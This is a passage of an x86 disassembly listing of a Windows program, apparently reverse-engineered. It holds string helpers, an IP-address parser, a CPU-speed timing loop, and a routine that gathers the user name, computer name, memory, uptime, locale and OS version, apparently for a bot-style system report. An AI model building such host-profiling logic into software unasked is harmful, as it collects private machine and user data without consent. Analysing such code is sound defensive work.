jnz short loc_40581E lea eax, [ebp+var_8] push 0Ah push eax push 0FFFFh push 401h call sub_40B459 pop ecx pop ecx push eax call sub_41192A ; _itoa add esp, 0Ch lea ebx, [ebp+var_8] loc_40581E: ; CODE XREF: sub_4057ED+Cj push 1BDh call sub_4114C4 ; malloc mov esi, eax pop ecx test esi, esi jz short loc_40588A lea eax, [esi+4] push ebx push eax call sub_4114B8 ; _mbscpy mov eax, [ebp+arg_8] pop ecx test eax, eax pop ecx jnz short loc_405847 mov eax, offset byte_4191D0 loc_405847: ; CODE XREF: sub_4057ED+53j push edi push 10h push eax lea eax, [esi+0Ah] push eax call sub_4059C2 mov edi, [ebp+arg_0] push 1A3h lea eax, [esi+1Ah] push edi push eax call sub_4114D0 ; memcpy xor eax, eax add esp, 18h cmp [edi+18Bh], al push ebx push offset dword_413F34 setz al push eax push esi push offset sub_4056AC call sub_406D58 add esp, 14h pop edi loc_40588A: ; CODE XREF: sub_4057ED+40j pop esi pop ebx leave retn sub_4057ED endp ; =============== S U B R O U T I N E ======================================= sub_40588E proc near ; CODE XREF: sub_40C135+20Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_8] test esi, esi mov edx, esi jl short loc_4058B4 mov eax, [esp+4+arg_0] lea ecx, [eax+esi*2] loc_4058A0: ; CODE XREF: sub_40588E+24j mov eax, [esp+4+arg_4] mov al, [edx+eax] mov [ecx], al and byte ptr [ecx+1], 0 dec edx dec ecx dec ecx test edx, edx jge short loc_4058A0 loc_4058B4: ; CODE XREF: sub_40588E+9j mov eax, esi pop esi retn sub_40588E endp ; =============== S U B R O U T I N E ======================================= sub_4058B8 proc near ; CODE XREF: sub_407A76+179p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push esi call sub_4114BE ; strlen pop ecx loc_4058C4: ; CODE XREF: sub_4058B8+1Bj test eax, eax jz short loc_4058D5 dec eax cmp byte ptr [eax+esi], 20h jnz short loc_4058D5 and byte ptr [eax+esi], 0 jmp short loc_4058C4 ; --------------------------------------------------------------------------- loc_4058D5: ; CODE XREF: sub_4058B8+Ej ; sub_4058B8+15j pop esi retn sub_4058B8 endp ; =============== S U B R O U T I N E ======================================= sub_4058D7 proc near ; CODE XREF: sub_405B5B+Cp arg_0 = dword ptr 4 arg_4 = byte ptr 8 mov edx, [esp+arg_0] xor eax, eax loc_4058DD: ; CODE XREF: sub_4058D7+14j mov cl, [edx] test cl, cl jz short locret_4058ED cmp cl, [esp+arg_4] jnz short loc_4058EA inc eax loc_4058EA: ; CODE XREF: sub_4058D7+10j inc edx jmp short loc_4058DD ; --------------------------------------------------------------------------- locret_4058ED: ; CODE XREF: sub_4058D7+Aj retn sub_4058D7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4058EE proc near ; CODE XREF: sub_40A236+2Ap ; sub_40A236+EDp var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx push ebx push esi xor esi, esi push edi cmp [ebp+arg_10], esi jnz short loc_405917 push esi push esi push [ebp+arg_8] call sub_4114E8 ; memset push esi push esi push [ebp+arg_C] call sub_4114E8 ; memset add esp, 18h xor eax, eax jmp short loc_40598D ; --------------------------------------------------------------------------- loc_405917: ; CODE XREF: sub_4058EE+Cj push [ebp+arg_0] mov esi, [ebp+arg_4] push esi call sub_4114B8 ; _mbscpy lea eax, [ebp+var_4] push eax push offset dword_413F54 push [ebp+arg_0] call sub_405E4F mov ebx, [ebp+arg_8] add esp, 14h push 1 mov [ebx], eax mov eax, [ebp+arg_C] pop edi cmp [ebp+arg_10], edi mov [eax], esi jle short loc_40598A mov [ebp+arg_8], eax lea esi, [ebx+4] sub [ebp+arg_8], ebx loc_405952: ; CODE XREF: sub_4058EE+9Aj xor eax, eax cmp [esi-4], eax jz short loc_405992 lea ecx, [ebp+var_4] push ecx push offset dword_413F54 push eax call sub_405E4F add esp, 0Ch mov [esi], eax test eax, eax jz short loc_405979 sub eax, [ebp+arg_0] add eax, [ebp+arg_4] jmp short loc_40597B ; --------------------------------------------------------------------------- loc_405979: ; CODE XREF: sub_4058EE+81j xor eax, eax loc_40597B: ; CODE XREF: sub_4058EE+89j mov ecx, [ebp+arg_8] inc edi mov [ecx+esi], eax add esi, 4 cmp edi, [ebp+arg_10] jl short loc_405952 loc_40598A: ; CODE XREF: sub_4058EE+59j mov eax, [ebp+arg_10] loc_40598D: ; CODE XREF: sub_4058EE+27j ; sub_4058EE+D2j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_405992: ; CODE XREF: sub_4058EE+69j mov esi, edi imul esi, 3FFFFFFFh add esi, [ebp+arg_10] shl esi, 2 push esi push eax lea eax, [ebx+edi*4] push eax call sub_4114E8 ; memset mov eax, [ebp+arg_C] push esi push 0 lea eax, [eax+edi*4] push eax call sub_4114E8 ; memset add esp, 18h lea eax, [edi-1] jmp short loc_40598D sub_4058EE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4059C2 proc near ; CODE XREF: sub_40110A+58p ; sub_40110A+8Cp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi mov esi, [ebp+arg_4] mov edi, [ebp+arg_0] mov ecx, [ebp+arg_8] test ecx, ecx jz short loc_4059EC cmp ecx, 1 jz short loc_4059E9 loc_4059D9: ; CODE XREF: sub_4059C2+25j mov al, [esi] mov [edi], al test al, al jz short loc_4059EC inc esi inc edi dec ecx cmp ecx, 1 jnz short loc_4059D9 loc_4059E9: ; CODE XREF: sub_4059C2+15j mov byte ptr [edi], 0 loc_4059EC: ; CODE XREF: sub_4059C2+10j ; sub_4059C2+1Dj pop edi pop esi pop ebp retn sub_4059C2 endp ; =============== S U B R O U T I N E ======================================= sub_4059F0 proc near ; CODE XREF: sub_406EA9+17p ; sub_406F84+1Bp ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] loc_4059F4: ; CODE XREF: sub_4059F0+15j mov cl, [eax] test cl, cl jz short loc_405A0A cmp cl, 30h jl short loc_405A07 cmp byte ptr [eax], 39h jg short loc_405A07 inc eax jmp short loc_4059F4 ; --------------------------------------------------------------------------- loc_405A07: ; CODE XREF: sub_4059F0+Dj ; sub_4059F0+12j xor al, al retn ; --------------------------------------------------------------------------- loc_405A0A: ; CODE XREF: sub_4059F0+8j mov al, 1 retn sub_4059F0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405A0D proc near ; CODE XREF: sub_401000+9Cp ; sub_40FDB3+5Dp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, [ebp+arg_8] push edi call sub_4114BE ; strlen mov ebx, [ebp+arg_4] and [ebp+arg_8], 0 sub ebx, eax pop ecx mov [ebp+var_4], eax js short loc_405A65 mov esi, [ebp+arg_0] loc_405A2F: ; CODE XREF: sub_405A0D+56j mov al, [esi] mov cl, [edi] cmp al, cl jz short loc_405A4B movsx edx, al movsx eax, cl lea ecx, [eax+20h] cmp edx, ecx jz short loc_405A4B add eax, 0FFFFFFE0h cmp edx, eax jnz short loc_405A5C loc_405A4B: ; CODE XREF: sub_405A0D+28j ; sub_405A0D+35j push [ebp+var_4] push edi push esi call sub_411930 ; _strnicmp add esp, 0Ch test eax, eax jz short loc_405A6C loc_405A5C: ; CODE XREF: sub_405A0D+3Cj inc [ebp+arg_8] inc esi cmp [ebp+arg_8], ebx jle short loc_405A2F loc_405A65: ; CODE XREF: sub_405A0D+1Dj xor eax, eax loc_405A67: ; CODE XREF: sub_405A0D+67j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_405A6C: ; CODE XREF: sub_405A0D+4Dj mov eax, [ebp+arg_8] mov ecx, [ebp+arg_0] add eax, ecx jmp short loc_405A67 sub_405A0D endp ; =============== S U B R O U T I N E ======================================= sub_405A76 proc near ; CODE XREF: sub_40765C+CCp ; sub_40A407+Cp arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] xor eax, eax mov cl, [esi] loc_405A7F: ; CODE XREF: sub_405A76+1Cj test cl, cl jz short loc_405A94 cmp cl, 0Dh jz short loc_405A98 cmp cl, 0Ah jz short loc_405A98 mov cl, [eax+esi+1] inc eax jmp short loc_405A7F ; --------------------------------------------------------------------------- loc_405A94: ; CODE XREF: sub_405A76+Bj add eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_405A98: ; CODE XREF: sub_405A76+10j ; sub_405A76+15j push edi xor ecx, ecx lea edi, [eax+esi] loc_405A9E: ; CODE XREF: sub_405A76+3Aj mov dl, [edi+ecx] cmp dl, 0Dh jz short loc_405AAB cmp dl, 0Ah jnz short loc_405AB2 loc_405AAB: ; CODE XREF: sub_405A76+2Ej and byte ptr [edi+ecx], 0 inc ecx jmp short loc_405A9E ; --------------------------------------------------------------------------- loc_405AB2: ; CODE XREF: sub_405A76+33j add eax, ecx pop edi add eax, esi pop esi retn sub_405A76 endp ; =============== S U B R O U T I N E ======================================= sub_405AB9 proc near ; CODE XREF: sub_40DBD7+4Ep ; sub_40DBD7+C6p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov cl, [eax] inc eax test cl, cl jz short locret_405AD5 loc_405AC4: ; CODE XREF: sub_405AB9+17j mov cl, [eax] test cl, cl jz short locret_405AD5 cmp cl, 20h jz short loc_405AD2 inc eax jmp short loc_405AC4 ; --------------------------------------------------------------------------- loc_405AD2: ; CODE XREF: sub_405AB9+14j and byte ptr [eax], 0 locret_405AD5: ; CODE XREF: sub_405AB9+9j ; sub_405AB9+Fj retn sub_405AB9 endp ; =============== S U B R O U T I N E ======================================= sub_405AD6 proc near ; CODE XREF: sub_405FF3+21Fp ; sub_408E1A+62p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_0] push esi push edi mov edi, [esp+8+arg_4] xor eax, eax mov esi, ecx loc_405AE4: ; CODE XREF: sub_405AD6+2Aj mov dl, [esi] cmp dl, 20h jnz short loc_405AF4 test edi, edi jnz short loc_405AFF push 1 pop edi jmp short loc_405AF6 ; --------------------------------------------------------------------------- loc_405AF4: ; CODE XREF: sub_405AD6+13j xor edi, edi loc_405AF6: ; CODE XREF: sub_405AD6+1Cj mov [eax+ecx], dl inc eax cmp byte ptr [esi], 0 jz short loc_405B02 loc_405AFF: ; CODE XREF: sub_405AD6+17j inc esi jmp short loc_405AE4 ; --------------------------------------------------------------------------- loc_405B02: ; CODE XREF: sub_405AD6+27j cmp [esp+8+arg_8], 0 pop edi pop esi jz short locret_405B1A loc_405B0B: ; CODE XREF: sub_405AD6+42j test eax, eax jz short locret_405B1A and byte ptr [eax+ecx], 0 dec eax cmp byte ptr [eax+ecx], 20h jz short loc_405B0B locret_405B1A: ; CODE XREF: sub_405AD6+33j ; sub_405AD6+37j retn sub_405AD6 endp ; =============== S U B R O U T I N E ======================================= sub_405B1B proc near ; CODE XREF: sub_405B5B+41p ; sub_405B5B+50p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] push ebx push esi push edi mov edi, [esp+0Ch+arg_0] xor eax, eax mov ebx, edi mov esi, ecx sub ebx, ecx loc_405B2E: ; CODE XREF: sub_405B1B+26j mov dl, [esi] cmp dl, 2Eh jz short loc_405B49 test dl, dl jz short loc_405B53 mov [ebx+esi], dl inc eax inc esi cmp eax, 4 jl short loc_405B2E xor eax, eax loc_405B45: ; CODE XREF: sub_405B1B+36j ; sub_405B1B+3Ej pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_405B49: ; CODE XREF: sub_405B1B+18j and byte ptr [eax+edi], 0 lea eax, [eax+ecx+1] jmp short loc_405B45 ; --------------------------------------------------------------------------- loc_405B53: ; CODE XREF: sub_405B1B+1Cj and byte ptr [eax+edi], 0 add eax, ecx jmp short loc_405B45 sub_405B1B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405B5B proc near ; CODE XREF: sub_405C9C+19p ; sub_405C9C+38p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_0] push edi push 2Eh push esi call sub_4058D7 pop ecx cmp eax, 3 pop ecx jg short loc_405B96 mov ecx, [ebp+arg_10] mov edi, [ebp+arg_8] xor ebx, ebx mov [ecx], bl mov ecx, [ebp+arg_C] sub eax, ebx mov [ecx], bl mov ecx, [ebp+arg_4] mov [edi], bl mov [ecx], bl jz short loc_405BC9 dec eax jz short loc_405BB8 dec eax jz short loc_405BA9 dec eax jz short loc_405B9A loc_405B96: ; CODE XREF: sub_405B5B+16j ; sub_405B5B+4Cj ... xor eax, eax jmp short loc_405BDA ; --------------------------------------------------------------------------- loc_405B9A: ; CODE XREF: sub_405B5B+39j push esi push ecx call sub_405B1B mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_405B96 loc_405BA9: ; CODE XREF: sub_405B5B+36j push esi push edi call sub_405B1B mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_405B96 loc_405BB8: ; CODE XREF: sub_405B5B+33j push esi push [ebp+arg_C] call sub_405B1B mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_405B96 loc_405BC9: ; CODE XREF: sub_405B5B+30j push esi push [ebp+arg_10] call sub_405B1B neg eax pop ecx sbb eax, eax pop ecx neg eax loc_405BDA: ; CODE XREF: sub_405B5B+3Dj pop edi pop esi pop ebx pop ebp retn sub_405B5B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405BDF proc near ; CODE XREF: sub_405C9C+81p ; sub_405C9C+97p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp mov eax, [ebp+arg_4] mov dl, [eax] cmp dl, 72h jnz short loc_405C13 cmp byte ptr [eax+1], 0 jnz short loc_405C13 push 0Ah push [ebp+arg_C] push 0FFh push 0 call sub_40B459 pop ecx pop ecx push eax call sub_41192A ; _itoa add esp, 0Ch jmp loc_405C97 ; --------------------------------------------------------------------------- loc_405C13: ; CODE XREF: sub_405BDF+Bj ; sub_405BDF+11j cmp dl, 73h jz short loc_405C1D cmp dl, 69h jnz short loc_405C7C loc_405C1D: ; CODE XREF: sub_405BDF+37j cmp byte ptr [eax+1], 0 jnz short loc_405C7C mov ecx, [ebp+arg_0] mov al, [ecx] test al, al jz short loc_405C5F cmp [ebp+arg_10], 0 jz short loc_405C58 push ebx push ecx call sub_41151C ; atoi mov ebx, eax push 0Ah push [ebp+arg_C] inc bl movzx eax, bl push eax call sub_41192A ; _itoa add esp, 10h xor eax, eax test bl, bl setz al pop ebx pop ebp retn ; --------------------------------------------------------------------------- loc_405C58: ; CODE XREF: sub_405BDF+51j test al, al jz short loc_405C5F push ecx jmp short loc_405C6E ; --------------------------------------------------------------------------- loc_405C5F: ; CODE XREF: sub_405BDF+4Bj ; sub_405BDF+7Bj cmp dl, 69h jnz short loc_405C6B push offset dword_413F58 jmp short loc_405C6E ; --------------------------------------------------------------------------- loc_405C6B: ; CODE XREF: sub_405BDF+83j push [ebp+arg_8] loc_405C6E: ; CODE XREF: sub_405BDF+7Ej ; sub_405BDF+8Aj push [ebp+arg_C] call sub_4114B8 ; _mbscpy pop ecx xor eax, eax pop ecx pop ebp retn ; --------------------------------------------------------------------------- loc_405C7C: ; CODE XREF: sub_405BDF+3Cj ; sub_405BDF+42j test dl, dl jnz short loc_405C87 mov eax, [ebp+arg_0] cmp [eax], dl jz short loc_405C8A loc_405C87: ; CODE XREF: sub_405BDF+9Fj push eax jmp short loc_405C8D ; --------------------------------------------------------------------------- loc_405C8A: ; CODE XREF: sub_405BDF+A6j push [ebp+arg_8] loc_405C8D: ; CODE XREF: sub_405BDF+A9j push [ebp+arg_C] call sub_4114B8 ; _mbscpy pop ecx pop ecx loc_405C97: ; CODE XREF: sub_405BDF+2Fj mov eax, [ebp+arg_10] pop ebp retn sub_405BDF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405C9C proc near ; CODE XREF: sub_40EE23+137p ; sub_40EE23+2F4p var_3C = byte ptr -3Ch var_38 = byte ptr -38h var_34 = byte ptr -34h var_30 = byte ptr -30h var_2C = byte ptr -2Ch var_28 = byte ptr -28h var_24 = byte ptr -24h var_20 = byte ptr -20h var_1C = byte ptr -1Ch var_18 = byte ptr -18h var_14 = byte ptr -14h var_10 = byte ptr -10h var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 3Ch lea eax, [ebp+var_8] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_2C] push eax push [ebp+arg_0] call sub_405B5B add esp, 14h test eax, eax jz short loc_405D07 lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_28] push eax push [ebp+arg_4] call sub_405B5B add esp, 14h test eax, eax jz short loc_405D07 lea eax, [ebp+var_4] push eax lea eax, [ebp+var_C] push eax lea eax, [ebp+var_18] push eax lea eax, [ebp+var_24] push eax push offset dword_41A2E8 call sub_405B5B add esp, 14h test eax, eax jz short loc_405D07 cmp byte ptr [ebp+arg_0], 0 jnz short loc_405D0B loc_405D07: ; CODE XREF: sub_405C9C+23j ; sub_405C9C+42j ... xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_405D0B: ; CODE XREF: sub_405C9C+69j lea eax, [ebp+var_30] push 1 push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_8] push eax call sub_405BDF push eax lea eax, [ebp+var_34] push eax lea eax, [ebp+var_C] push eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_14] push eax call sub_405BDF push eax lea eax, [ebp+var_38] push eax lea eax, [ebp+var_18] push eax lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_20] push eax call sub_405BDF push eax lea eax, [ebp+var_3C] push eax lea eax, [ebp+var_24] push eax lea eax, [ebp+var_28] push eax lea eax, [ebp+var_2C] push eax call sub_405BDF add esp, 50h lea eax, [ebp+var_30] push eax lea eax, [ebp+var_34] push eax lea eax, [ebp+var_38] push eax lea eax, [ebp+var_3C] push eax push offset dword_413F5C push [ebp+arg_8] call sub_4114DC ; sprintf add esp, 18h push 1 pop eax leave retn sub_405C9C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405D8C proc near ; CODE XREF: sub_40EE23+E6p var_20 = byte ptr -20h var_1C = byte ptr -1Ch var_18 = byte ptr -18h var_14 = byte ptr -14h var_10 = byte ptr -10h var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 20h lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_C] push eax lea eax, [ebp+var_10] push eax push [ebp+arg_0] call sub_405B5B add esp, 14h test eax, eax jz short loc_405DD2 lea eax, [ebp+var_20] push eax lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_18] push eax lea eax, [ebp+var_14] push eax push offset dword_41A2E8 call sub_405B5B add esp, 14h test eax, eax jnz short loc_405DD6 loc_405DD2: ; CODE XREF: sub_405D8C+23j xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_405DD6: ; CODE XREF: sub_405D8C+44j cmp [ebp+var_10], 0 jnz short loc_405DEB lea eax, [ebp+var_14] push eax lea eax, [ebp+var_10] push eax call sub_4114B8 ; _mbscpy pop ecx pop ecx loc_405DEB: ; CODE XREF: sub_405D8C+4Ej cmp [ebp+var_C], 0 jnz short loc_405E00 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_C] push eax call sub_4114B8 ; _mbscpy pop ecx pop ecx loc_405E00: ; CODE XREF: sub_405D8C+63j cmp [ebp+var_8], 0 jnz short loc_405E15 lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_8] push eax call sub_4114B8 ; _mbscpy pop ecx pop ecx loc_405E15: ; CODE XREF: sub_405D8C+78j cmp [ebp+var_4], 0 jnz short loc_405E2A lea eax, [ebp+var_20] push eax lea eax, [ebp+var_4] push eax call sub_4114B8 ; _mbscpy pop ecx pop ecx loc_405E2A: ; CODE XREF: sub_405D8C+8Dj lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_C] push eax lea eax, [ebp+var_10] push eax push offset dword_413F5C push [ebp+arg_0] call sub_4114DC ; sprintf add esp, 18h push 1 pop eax leave retn sub_405D8C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405E4F proc near ; CODE XREF: sub_4058EE+41p ; sub_4058EE+75p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, [ebp+arg_0] test eax, eax jz short loc_405E5E mov ecx, [ebp+arg_8] mov [ecx], eax loc_405E5E: ; CODE XREF: sub_405E4F+8j mov eax, [ebp+arg_8] push ebx push esi push edi mov ecx, [eax] mov edi, [ebp+arg_4] mov al, [ecx] test al, al jz short loc_405E92 mov bl, [edi] loc_405E71: ; CODE XREF: sub_405E4F+41j test bl, bl mov esi, edi jz short loc_405E85 mov dl, bl loc_405E79: ; CODE XREF: sub_405E4F+34j cmp dl, al jz short loc_405E85 mov dl, [esi+1] inc esi test dl, dl jnz short loc_405E79 loc_405E85: ; CODE XREF: sub_405E4F+26j ; sub_405E4F+2Cj cmp byte ptr [esi], 0 jz short loc_405E92 mov al, [ecx+1] inc ecx test al, al jnz short loc_405E71 loc_405E92: ; CODE XREF: sub_405E4F+1Ej ; sub_405E4F+39j cmp byte ptr [ecx], 0 mov edx, ecx mov esi, edi jz short loc_405EB5 loc_405E9B: ; CODE XREF: sub_405E4F+5Ej mov al, [edx] cmp al, [esi] jz short loc_405EB1 inc esi cmp byte ptr [esi], 0 jnz short loc_405EAA mov esi, edi inc edx loc_405EAA: ; CODE XREF: sub_405E4F+56j cmp byte ptr [edx], 0 jnz short loc_405E9B jmp short loc_405EB5 ; --------------------------------------------------------------------------- loc_405EB1: ; CODE XREF: sub_405E4F+50j and byte ptr [edx], 0 inc edx loc_405EB5: ; CODE XREF: sub_405E4F+4Aj ; sub_405E4F+60j mov eax, [ebp+arg_8] pop edi pop esi pop ebx mov [eax], edx mov eax, ecx sub eax, edx neg eax sbb eax, eax and eax, ecx pop ebp retn sub_405E4F endp ; =============== S U B R O U T I N E ======================================= sub_405EC9 proc near ; CODE XREF: sub_405ECC:loc_405ED6p ; sub_405ECC+1Ep rdtsc retn sub_405EC9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405ECC proc near ; CODE XREF: sub_405FF3+271p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi xor esi, esi loc_405ED6: ; CODE XREF: sub_405ECC+42j ; sub_405ECC+4Cj call sub_405EC9 push 3E8h mov edi, eax mov ebx, edx call dword_4120A4 ; Sleep call sub_405EC9 sub eax, edi push esi sbb edx, ebx push 186A0h push edx push eax call sub_411610 push esi push 0Ah push edx push eax call sub_411610 cmp edx, esi mov edi, eax ja short loc_405ED6 jb short loc_405F1A cmp edi, 0F4240h ja short loc_405ED6 loc_405F1A: ; CODE XREF: sub_405ECC+44j push esi push 64h push edx push edi call sub_411590 push 64h mov ecx, eax cmp edx, esi pop eax mov [ebp+var_4], esi ja short loc_405F91 jb short loc_405F37 cmp ecx, 50h jnb short loc_405F3D loc_405F37: ; CODE XREF: sub_405ECC+64j push 4Bh mov [ebp+var_4], esi pop eax loc_405F3D: ; CODE XREF: sub_405ECC+69j cmp edx, esi ja short loc_405F91 jb short loc_405F48 cmp ecx, 47h jnb short loc_405F4E loc_405F48: ; CODE XREF: sub_405ECC+75j push 42h mov [ebp+var_4], esi pop eax loc_405F4E: ; CODE XREF: sub_405ECC+7Aj cmp edx, esi ja short loc_405F91 jb short loc_405F59 cmp ecx, 37h jnb short loc_405F5F loc_405F59: ; CODE XREF: sub_405ECC+86j push 32h mov [ebp+var_4], esi pop eax loc_405F5F: ; CODE XREF: sub_405ECC+8Bj cmp edx, esi ja short loc_405F91 jb short loc_405F6A cmp ecx, 26h jnb short loc_405F70 loc_405F6A: ; CODE XREF: sub_405ECC+97j push 21h mov [ebp+var_4], esi pop eax loc_405F70: ; CODE XREF: sub_405ECC+9Cj cmp edx, esi ja short loc_405F91 jb short loc_405F7B cmp ecx, 1Eh jnb short loc_405F81 loc_405F7B: ; CODE XREF: sub_405ECC+A8j push 19h mov [ebp+var_4], esi pop eax loc_405F81: ; CODE XREF: sub_405ECC+ADj cmp edx, esi ja short loc_405F91 jb short loc_405F8C cmp ecx, 0Ah jnb short loc_405F91 loc_405F8C: ; CODE XREF: sub_405ECC+B9j xor eax, eax mov [ebp+var_4], esi loc_405F91: ; CODE XREF: sub_405ECC+62j ; sub_405ECC+73j ... sub eax, ecx add eax, edi pop edi pop esi pop ebx leave retn sub_405ECC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405F9A proc near ; CODE XREF: sub_409277+15Ap ; sub_409918+2AFp arg_0 = dword ptr 8 push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] push edi mov edi, dword_412038 push 1Fh push esi push 7 push 400h call edi ; GetLocaleInfoA neg eax sbb eax, eax mov byte ptr [esi+3], 0 neg eax mov [ebp+arg_0], eax jz short loc_405FD9 push offset off_414108 push esi call sub_411924 ; _strcmpi pop ecx test eax, eax pop ecx jz short loc_405FD9 push 1 pop eax jmp short loc_405FEF ; --------------------------------------------------------------------------- loc_405FD9: ; CODE XREF: sub_405F9A+27j ; sub_405F9A+38j push 1Fh push esi push 7 push 800h call edi ; GetLocaleInfoA neg eax sbb eax, eax neg eax and byte ptr [esi+3], 0 loc_405FEF: ; CODE XREF: sub_405F9A+3Dj pop edi pop esi pop ebp retn sub_405F9A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405FF3 proc near ; DATA XREF: sub_4062CF+29o var_72C = byte ptr -72Ch var_32C = dword ptr -32Ch var_328 = byte ptr -328h var_184 = dword ptr -184h var_180 = dword ptr -180h var_17C = dword ptr -17Ch var_178 = byte ptr -178h var_105 = byte ptr -105h var_104 = dword ptr -104h var_100 = dword ptr -100h var_FC = dword ptr -0FCh var_F8 = dword ptr -0F8h var_F4 = dword ptr -0F4h var_F0 = byte ptr -0F0h var_70 = byte ptr -70h var_68 = dword ptr -68h var_64 = dword ptr -64h var_50 = byte ptr -50h var_38 = byte ptr -38h var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 72Ch push ebx push esi push edi push 1A7h push [ebp+arg_0] lea eax, [ebp+var_32C] push eax call sub_4114D0 ; memcpy push [ebp+arg_0] call sub_4114CA ; free add esp, 10h lea eax, [ebp+var_70] push eax call dword_41207C ; GlobalMemoryStatus mov eax, [ebp+var_68] lea esi, [eax+100000h] mov eax, [ebp+var_64] add eax, 100000h shr eax, 14h shr esi, 14h mov [ebp+var_24], eax call sub_406AB7 mov ecx, 15180h xor edx, edx mov ebx, ecx mov edi, eax div ebx xor edx, edx push 3Ch mov [ebp+var_8], 15h mov [ebp+var_C], 10h mov [ebp+var_18], eax mov eax, edi div ecx mov ecx, 0E10h mov ebx, ecx mov edi, edx xor edx, edx mov eax, edi div ebx xor edx, edx mov [ebp+var_10], eax mov eax, edi div ecx pop ecx mov eax, edx xor edx, edx div ecx mov [ebp+arg_0], eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_50] push eax call dword_412018 ; GetUserNameA lea eax, [ebp+var_C] push eax lea eax, [ebp+var_38] push eax call dword_412030 ; GetComputerNameA push 24h xor eax, eax pop ecx lea edi, [ebp+var_100] mov [ebp+var_104], 94h rep stosd lea eax, [ebp+var_104] push eax call dword_412034 ; GetVersionExA cmp [ebp+var_100], 4 mov edi, offset a? ; "?" mov [ebp+var_1C], offset aNoSp ; "no SP" jnz short loc_40612B cmp [ebp+var_FC], 0 jnz short loc_40610B cmp [ebp+var_F4], 1 jnz short loc_4060FB mov edi, offset a95 ; "95" loc_4060FB: ; CODE XREF: sub_405FF3+101j cmp [ebp+var_F4], 2 jnz short loc_40617D mov edi, offset aNt ; "NT" jmp short loc_40616B ; --------------------------------------------------------------------------- loc_40610B: ; CODE XREF: sub_405FF3+F8j cmp [ebp+var_FC], 0Ah jnz short loc_40611B mov edi, offset a98 ; "98" jmp short loc_406162 ; --------------------------------------------------------------------------- loc_40611B: ; CODE XREF: sub_405FF3+11Fj cmp [ebp+var_FC], 5Ah jnz short loc_406162 mov edi, offset aMe ; "ME" jmp short loc_406162 ; --------------------------------------------------------------------------- loc_40612B: ; CODE XREF: sub_405FF3+EFj cmp [ebp+var_100], 5 jnz short loc_406162 cmp [ebp+var_FC], 0 jnz short loc_406144 mov edi, offset a2000 ; "2000" jmp short loc_406162 ; --------------------------------------------------------------------------- 